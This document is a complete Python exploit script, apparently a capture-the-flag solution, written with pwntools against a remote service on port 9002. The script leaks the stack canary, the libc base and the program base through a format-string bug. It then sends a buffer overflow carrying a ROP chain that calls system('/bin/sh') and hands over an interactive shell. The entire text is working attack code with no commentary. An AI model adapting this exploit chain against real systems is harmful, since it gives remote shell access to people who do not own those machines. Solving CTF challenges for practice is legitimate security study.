text: #!/usr/bin/python3
  
  from pwn import *
  
  binary = ELF('./chall')
  libc = ELF('./libc-2.27.so')
  context.update(arch='amd64',os='linux')
  
  #p = process(binary.path)
  p = remote('69.172.229.147', 9002)
  
  p.sendline((0x40//2 - 1) * '%p')
  _ = p.recvline().strip().replace(b'(nil)',b'0x0').replace(b'0x',b' 0x').split()
  
  canary = int(_[13],16)
  log.info('canary: ' + hex(canary))
  baselibc = int(_[15],16) - libc.symbols['__libc_start_main'] - 231
  libc.address = baselibc
  log.info('baselibc: ' + hex(baselibc))
  baseproc = int(_[19],16) - binary.symbols['main']
  binary.address = baseproc
  log.info('baseproc: ' + hex(baseproc))
  
  rop = ROP([binary])
  pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
  
  payload  = (0x58 - 0x10) * b'\x00'
  payload += p64(canary)
  payload += p64(0x0)
  payload += p64(pop_rdi + 1)
  payload += p64(pop_rdi)
  payload += p64(libc.search(b'/bin/sh').__next__())
  payload += p64(libc.symbols['system'])
  
  p.sendline(payload)
  
  p.interactive()
  